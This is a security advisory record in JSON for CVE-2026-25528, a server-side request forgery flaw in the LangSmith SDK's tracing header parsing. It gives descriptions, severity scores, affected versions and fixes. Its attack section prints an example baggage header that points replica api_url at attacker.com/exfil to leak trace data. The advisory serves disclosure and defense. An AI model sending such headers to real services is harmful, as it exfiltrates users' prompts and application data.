{"id":"CVE-2026-25528","aliases":["CVE-2026-25528","GHSA-v34v-rq6j-cj6p","PYSEC-2026-2584"],"related":[],"kind":"vulnerability","state":"published","title":"LangSmith Client SDK Affected by Server-Side Request Forgery via Tracing Header Injection","summary":"LangSmith Client SDKs provide SDK's for interacting with the LangSmith platform. The LangSmith SDK's distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary api_url values through the baggage header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints. When using distributed tracing, the SDK parses incoming HTTP headers via RunTree.from_headers() in Python or RunTree.fromHeaders() in Typescript. The baggage header can contain replica configurations including api_url and api_key fields. Prior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK's post() and patch() methods send run data to all configured replica URLs, including any injected by an attacker. This vulnerability is fixed in version 0.6.3 of the Python SDK and  0.4.6 of the JavaScript SDK.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"LangSmith Client SDKs provide SDK's for interacting with the LangSmith platform. The LangSmith SDK's distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary api_url values through the baggage header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints. When using distributed tracing, the SDK parses incoming HTTP headers via RunTree.from_headers() in Python or RunTree.fromHeaders() in Typescript. The baggage header can contain replica configurations including api_url and api_key fields. Prior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK's post() and patch() methods send run data to all configured replica URLs, including any injected by an attacker. This vulnerability is fixed in version 0.6.3 of the Python SDK and  0.4.6 of the JavaScript SDK.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nThe LangSmith SDK's distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary `api_url` values through the `baggage` header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints.\n\n---\n\n## Description\n\nWhen using distributed tracing, the SDK parses incoming HTTP headers via `RunTree.from_headers()` in Python or `RunTree.fromHeaders()` in Typescript. The `baggage` header can contain replica configurations including `api_url` and `api_key` fields.\n\nPrior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK's `post()` and `patch()` methods send run data to all configured replica URLs, including any injected by an attacker.\n\n---\n\n## Attack Vector\n\n1. Attacker sends an HTTP request to a vulnerable service with a malicious `baggage` header:\n   ```\n   baggage: langsmith-replicas=[{\"api_url\":\"https://attacker.com/exfil\",\"project_name\":\"x\"}]\n   ```\n\n2. The service parses the header via `RunTree.from_headers()`, storing the attacker's URL\n\n3. When the traced operation completes, the SDK sends the full run data (including LLM inputs, outputs, and metadata) to `https://attacker.com/exfil`\n\n---\n\n## Impact\n\n- **Data Exfiltration:** Sensitive trace data including LLM prompts, completions, and application metadata sent to attacker-controlled servers\n- **SSRF:** Ability to make the server send requests to arbitrary URLs, potentially targeting internal services\n\n---\n\n## Affected Use Cases\n\nApplications are vulnerable if they:\n- Use `TracingMiddleware` to automatically propagate tracing context\n- Call `RunTree.from_headers()` / `RunTree.fromHeaders()` with untrusted HTTP headers\n\n---\n\n## Remediation\n\nUpdate to the patched versions:\n- **Python:** `pip install langsmith>=0.6.3`\n- **JavaScript:** `npm install langsmith@>=0.4.6`\n\nThe fix filters incoming replica configurations to an allowlist of safe fields, removing `api_url`, `api_key`, and other credential fields.\n\n---\n\n## Workarounds\n\nIf unable to upgrade immediately:\n- Strip or validate the `baggage` header before passing to `from_headers()`\n- Do not use `TracingMiddleware` with untrusted traffic","format":"markdown","source":"ghsa"},{"lang":"es","text":"Los SDKs del cliente de LangSmith proporcionan SDKs para interactuar con la plataforma LangSmith. La característica de trazado distribuido del SDK de LangSmith es vulnerable a la falsificación de petición del lado del servidor a través de encabezados HTTP maliciosos. Un atacante puede inyectar valores arbitrarios de api_url a través del encabezado 'baggage', haciendo que el SDK exfiltre datos de traza sensibles a puntos finales controlados por el atacante. Al usar el trazado distribuido, el SDK analiza los encabezados HTTP entrantes a través de RunTree.from_headers() en Python o RunTree.fromHeaders() en Typescript. El encabezado 'baggage' puede contener configuraciones de réplica, incluyendo los campos api_url y api_key. Antes de la corrección, estos valores controlados por el atacante eran aceptados sin validación. Cuando una operación trazada se completa, los métodos post() y patch() del SDK envían datos de ejecución a todas las URLs de réplica configuradas, incluyendo cualquiera inyectada por un atacante. Esta vulnerabilidad está corregida en la versión 0.6.3 del SDK de Python y 0.4.6 del SDK de JavaScript.","source":"nvd"}],"published":"2026-02-09T20:08:32.903Z","modified":"2026-09-10T03:50:35.941Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N","score":5.8,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N","score":5.8,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N","score":5.8,"rating":"MEDIUM"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N","score":5.8,"rating":"MEDIUM"}],"cwes":["CWE-918"],"affected":[{"ranges":[{"version":">= 0.4.10, <0.6.3","status":"affected"}],"vendor":"langchain-ai","product":"langsmith-sdk","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0.4.10","status":"affected","fixed":"0.6.3"}],"ecosystem":"PyPI","package":"langsmith","purl":"pkg:pypi/langsmith","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0.3.41","status":"affected","fixed":"0.4.6"}],"ecosystem":"npm","package":"langsmith","purl":"pkg:npm/langsmith","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0.4.10","status":"affected","fixed":"0.6.3"}],"ecosystem":"PyPI","package":"langsmith","purl":"pkg:pypi/langsmith","source":"pysec"}],"references":[{"url":"https://github.com/langchain-ai/langsmith-sdk/security/advisories/GHSA-v34v-rq6j-cj6p","tags":["web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25528","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/langchain-ai/langsmith-sdk","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/langsmith","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-v34v-rq6j-cj6p","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"yes","technicalImpact":"partial","date":"2026-02-10T15:39:48.039Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-25528","url":"https://www.cve.org/CVERecord?id=CVE-2026-25528","licence":"CVE Terms of Use","modified":"2026-02-10T15:59:49.992Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-v34v-rq6j-cj6p","url":"https://github.com/advisories/GHSA-v34v-rq6j-cj6p","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:35.941Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-25528","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25528","licence":"Public domain","modified":"2026-06-17T10:24:47.890Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-2584","url":"https://osv.dev/vulnerability/PYSEC-2026-2584","licence":"CC-BY-4.0","modified":"2026-07-13T16:32:02.503Z"}],"updatedAt":"2026-11-25T22:59:13.672Z","epss":{"score":0.00387,"percentile":0.24502,"date":"2026-11-30T12:00:22.000Z"}}